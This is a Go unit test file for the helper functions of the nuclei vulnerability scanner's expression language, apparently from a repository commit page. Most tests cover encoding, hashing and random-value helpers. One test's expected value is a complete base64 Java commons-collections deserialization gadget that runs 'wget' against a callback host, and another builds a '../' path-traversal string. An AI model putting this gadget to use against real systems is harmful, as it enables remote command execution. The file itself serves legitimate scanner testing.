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aebd32b198
* Add decimal to hexadecimal auxiliary functions * Fixed unit test * Modify the helper function name and check the unit test. * dsl function update Co-authored-by: Sandeep Singh <sandeep@projectdiscovery.io>
316 lines
17 KiB
Go
316 lines
17 KiB
Go
package dsl
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import (
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"fmt"
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"math"
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"regexp"
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"testing"
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"time"
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"github.com/Knetic/govaluate"
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"github.com/stretchr/testify/assert"
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"github.com/stretchr/testify/require"
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"github.com/projectdiscovery/nuclei/v2/pkg/types"
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)
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func TestDSLURLEncodeDecode(t *testing.T) {
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functions := HelperFunctions()
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encoded, err := functions["url_encode"]("&test\"")
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require.Nil(t, err, "could not url encode")
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require.Equal(t, "%26test%22", encoded, "could not get url encoded data")
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decoded, err := functions["url_decode"]("%26test%22")
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require.Nil(t, err, "could not url encode")
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require.Equal(t, "&test\"", decoded, "could not get url decoded data")
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}
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func TestDSLTimeComparison(t *testing.T) {
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compiled, err := govaluate.NewEvaluableExpressionWithFunctions("unixtime() > not_after", HelperFunctions())
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require.Nil(t, err, "could not compare time")
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result, err := compiled.Evaluate(map[string]interface{}{"not_after": float64(time.Now().Unix() - 1000)})
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require.Nil(t, err, "could not evaluate compare time")
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require.Equal(t, true, result, "could not get url encoded data")
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}
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func TestDSLGzipSerialize(t *testing.T) {
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compiled, err := govaluate.NewEvaluableExpressionWithFunctions("gzip(\"hello world\")", HelperFunctions())
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require.Nil(t, err, "could not compile encoder")
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result, err := compiled.Evaluate(make(map[string]interface{}))
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require.Nil(t, err, "could not evaluate compare time")
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compiled, err = govaluate.NewEvaluableExpressionWithFunctions("gzip_decode(data)", HelperFunctions())
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require.Nil(t, err, "could not compile decoder")
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data, err := compiled.Evaluate(map[string]interface{}{"data": result})
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require.Nil(t, err, "could not evaluate decoded data")
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require.Equal(t, "hello world", data.(string), "could not get gzip encoded data")
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}
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func TestTimeToStringDSLFunction(t *testing.T) {
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compiled, err := govaluate.NewEvaluableExpressionWithFunctions("timetostring(data)", HelperFunctions())
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require.Nil(t, err, "could not compile encoder")
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data := time.Now()
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result, err := compiled.Evaluate(map[string]interface{}{"data": data})
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require.Nil(t, err, "could not evaluate compare time")
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require.Equal(t, data.String(), result.(string), "could not get correct time format string")
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}
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func TestDslFunctionSignatures(t *testing.T) {
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type testCase struct {
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methodName string
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arguments []interface{}
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expected interface{}
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err string
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}
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toUpperSignatureError := createSignatureError("to_upper(arg1 interface{}) interface{}")
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removeBadCharsSignatureError := createSignatureError("remove_bad_chars(arg1, arg2 interface{}) interface{}")
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testCases := []testCase{
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{"to_upper", []interface{}{}, nil, toUpperSignatureError},
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{"to_upper", []interface{}{"a"}, "A", ""},
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{"toupper", []interface{}{"a"}, "A", ""},
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{"to_upper", []interface{}{"a", "b", "c"}, nil, toUpperSignatureError},
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{"remove_bad_chars", []interface{}{}, nil, removeBadCharsSignatureError},
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{"remove_bad_chars", []interface{}{"a"}, nil, removeBadCharsSignatureError},
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{"remove_bad_chars", []interface{}{"abba baab", "b"}, "aa aa", ""},
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{"remove_bad_chars", []interface{}{"a", "b", "c"}, nil, removeBadCharsSignatureError},
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}
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helperFunctions := HelperFunctions()
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for _, currentTestCase := range testCases {
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methodName := currentTestCase.methodName
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t.Run(methodName, func(t *testing.T) {
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actualResult, err := helperFunctions[methodName](currentTestCase.arguments...)
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if currentTestCase.err == "" {
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assert.Nil(t, err)
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} else {
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assert.Equal(t, err.Error(), currentTestCase.err)
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}
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assert.Equal(t, currentTestCase.expected, actualResult)
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})
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}
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}
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func createSignatureError(signature string) string {
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return fmt.Errorf(invalidDslFunctionMessageTemplate, invalidDslFunctionError, signature).Error()
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}
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func TestGetPrintableDslFunctionSignatures(t *testing.T) {
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expected := ` [93mbase64[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mbase64_decode[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mbase64_py[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mcompare_versions[0m(firstVersion, constraints [38;5;208m...string[0m)[38;5;208m bool[0m
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[93mconcat[0m(args [38;5;208m...interface{}[0m)[38;5;208m string[0m
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[93mcontains[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mdate[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mdec_to_hex[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mgenerate_java_gadget[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mgzip[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mgzip_decode[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mhex_decode[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mhex_encode[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mhtml_escape[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mhtml_unescape[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mlen[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mmd5[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mmmh3[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mprint_debug[0m(args [38;5;208m...interface{}[0m)[38;5;208m[0m
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[93mrand_base[0m(length [38;5;208muint[0m, optionalCharSet [38;5;208mstring[0m)[38;5;208m string[0m
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[93mrand_char[0m(optionalCharSet [38;5;208mstring[0m)[38;5;208m string[0m
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[93mrand_int[0m(optionalMin, optionalMax [38;5;208muint[0m)[38;5;208m int[0m
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[93mrand_ip[0m(cidr [38;5;208m...string[0m)[38;5;208m string[0m
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[93mrand_text_alpha[0m(length [38;5;208muint[0m, optionalBadChars [38;5;208mstring[0m)[38;5;208m string[0m
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[93mrand_text_alphanumeric[0m(length [38;5;208muint[0m, optionalBadChars [38;5;208mstring[0m)[38;5;208m string[0m
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[93mrand_text_numeric[0m(length [38;5;208muint[0m, optionalBadNumbers [38;5;208mstring[0m)[38;5;208m string[0m
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[93mregex[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mremove_bad_chars[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mrepeat[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mreplace[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mreplace_regex[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mreverse[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93msha1[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93msha256[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mtime[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mtimetostring[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mto_lower[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mto_number[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mto_string[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mto_upper[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mtrim[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mtrim_left[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mtrim_prefix[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mtrim_right[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mtrim_space[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mtrim_suffix[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93munix_time[0m(optionalSeconds [38;5;208muint[0m)[38;5;208m float64[0m
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[93murl_decode[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93murl_encode[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mwait_for[0m(seconds [38;5;208muint[0m)[38;5;208m[0m
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[93mzlib[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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[93mzlib_decode[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
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`
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t.Run("with coloring", func(t *testing.T) {
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assert.Equal(t, expected, GetPrintableDslFunctionSignatures(false))
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})
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t.Run("without coloring", func(t *testing.T) {
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var decolorizerRegex = regexp.MustCompile(`\x1B\[[0-9;]*[a-zA-Z]`)
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expectedSignaturesWithoutColor := decolorizerRegex.ReplaceAllString(expected, "")
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assert.Equal(t, expectedSignaturesWithoutColor, GetPrintableDslFunctionSignatures(true))
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})
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}
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func TestDslExpressions(t *testing.T) {
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now := time.Now()
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dslExpressions := map[string]interface{}{
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`base64("Hello")`: "SGVsbG8=",
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`base64(1234)`: "MTIzNA==",
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`base64_py("Hello")`: "SGVsbG8=\n",
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`hex_encode("aa")`: "6161",
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`html_escape("<body>test</body>")`: "<body>test</body>",
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`html_unescape("<body>test</body>")`: "<body>test</body>",
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`date("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
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`time("%H-%M")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()),
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`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
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`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
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`mmh3("Hello")`: "316307400",
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`remove_bad_chars("abcd", "bc")`: "ad",
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`replace("Hello", "He", "Ha")`: "Hallo",
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`concat("Hello", 123, "world")`: "Hello123world",
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`repeat("a", 5)`: "aaaaa",
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`repeat("a", "5")`: "aaaaa",
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`repeat("../", "5")`: "../../../../../",
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`repeat(5, 5)`: "55555",
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`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
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`reverse("abc")`: "cba",
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`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
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`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
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`to_lower("HELLO")`: "hello",
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`to_upper("hello")`: "HELLO",
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`trim("aaaHelloddd", "ad")`: "Hello",
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`trim_left("aaaHelloddd", "ad")`: "Helloddd",
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`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
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`trim_right("aaaHelloddd", "ad")`: "aaaHello",
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`trim_space(" Hello ")`: "Hello",
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`trim_suffix("aaHelloaa", "aa")`: "aaHello",
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`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
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`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
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`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
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`zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5",
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`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello",
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`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
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`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
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`base64_decode("SGVsbG8=")`: "Hello",
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`hex_decode("6161")`: "aa",
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`len("Hello")`: float64(5),
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`len(1234)`: float64(4),
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`contains("Hello", "lo")`: true,
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`regex("H([a-z]+)o", "Hello")`: true,
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`wait_for(1)`: nil,
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`print_debug(1+2, "Hello")`: nil,
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`to_number('4')`: float64(4),
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`to_string(4)`: "4",
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`dec_to_hex(7001)`: "1b59",
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`compare_versions('v1.0.0', '<1.1.1')`: true,
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`compare_versions('v1.1.1', '>v1.1.0')`: true,
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`compare_versions('v1.0.0', '>v0.0.1,<v1.0.1')`: true,
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`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`: true,
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}
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for dslExpression, expectedResult := range dslExpressions {
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t.Run(dslExpression, func(t *testing.T) {
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actualResult := evaluateExpression(t, dslExpression)
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if expectedResult != nil {
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assert.Equal(t, expectedResult, actualResult)
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}
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fmt.Printf("%s: \t %v\n", dslExpression, actualResult)
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})
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}
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}
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func TestRandDslExpressions(t *testing.T) {
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randDslExpressions := map[string]string{
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`rand_base(10, "")`: `[a-zA-Z0-9]{10}`,
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`rand_base(5, "abc")`: `[abc]{5}`,
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`rand_base(5)`: `[a-zA-Z0-9]{5}`,
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`rand_char("abc")`: `[abc]{1}`,
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`rand_char("")`: `[a-zA-Z0-9]{1}`,
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`rand_char()`: `[a-zA-Z0-9]{1}`,
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`rand_ip("192.168.0.0/24")`: `(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`,
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`rand_ip("2001:db8::/64")`: `(?:[A-Fa-f0-9]{0,4}:){0,7}[A-Fa-f0-9]{0,4}$`,
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`rand_text_alpha(10, "abc")`: `[^abc]{10}`,
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`rand_text_alpha(10, "")`: `[a-zA-Z]{10}`,
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`rand_text_alpha(10)`: `[a-zA-Z]{10}`,
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`rand_text_alphanumeric(10, "ab12")`: `[^ab12]{10}`,
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`rand_text_alphanumeric(5, "")`: `[a-zA-Z0-9]{5}`,
|
||
`rand_text_alphanumeric(10)`: `[a-zA-Z0-9]{10}`,
|
||
`rand_text_numeric(10, 123)`: `[^123]{10}`,
|
||
`rand_text_numeric(10)`: `\d{10}`,
|
||
}
|
||
|
||
for randDslExpression, regexTester := range randDslExpressions {
|
||
t.Run(randDslExpression, func(t *testing.T) {
|
||
actualResult := evaluateExpression(t, randDslExpression)
|
||
|
||
compiledTester := regexp.MustCompile(fmt.Sprintf("^%s$", regexTester))
|
||
|
||
fmt.Printf("%s: \t %v\n", randDslExpression, actualResult)
|
||
|
||
stringResult := types.ToString(actualResult)
|
||
|
||
assert.True(t, compiledTester.MatchString(stringResult), "The result '%s' of '%s' expression does not match the expected regex: '%s'", actualResult, randDslExpression, regexTester)
|
||
})
|
||
}
|
||
}
|
||
|
||
func TestRandIntDslExpressions(t *testing.T) {
|
||
randIntDslExpressions := map[string]func(int) bool{
|
||
`rand_int(5, 9)`: func(i int) bool {
|
||
return i >= 5 && i <= 9
|
||
},
|
||
`rand_int(9)`: func(i int) bool {
|
||
return i >= 9
|
||
},
|
||
`rand_int()`: func(i int) bool {
|
||
return i >= 0 && i <= math.MaxInt32
|
||
},
|
||
}
|
||
|
||
for randIntDslExpression, tester := range randIntDslExpressions {
|
||
t.Run(randIntDslExpression, func(t *testing.T) {
|
||
actualResult := evaluateExpression(t, randIntDslExpression)
|
||
|
||
actualIntResult := actualResult.(int)
|
||
assert.True(t, tester(actualIntResult), "The '%d' result of the '%s' expression, does not match th expected validation function.", actualIntResult, randIntDslExpression)
|
||
})
|
||
}
|
||
}
|
||
|
||
func evaluateExpression(t *testing.T, dslExpression string) interface{} {
|
||
compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, HelperFunctions())
|
||
require.NoError(t, err, "Error while compiling the %q expression", dslExpression)
|
||
|
||
actualResult, err := compiledExpression.Evaluate(make(map[string]interface{}))
|
||
require.NoError(t, err, "Error while evaluating the compiled %q expression", dslExpression)
|
||
|
||
for _, negativeTestWord := range []string{"panic", "invalid", "error"} {
|
||
require.NotContains(t, fmt.Sprintf("%v", actualResult), negativeTestWord)
|
||
}
|
||
|
||
return actualResult
|
||
}
|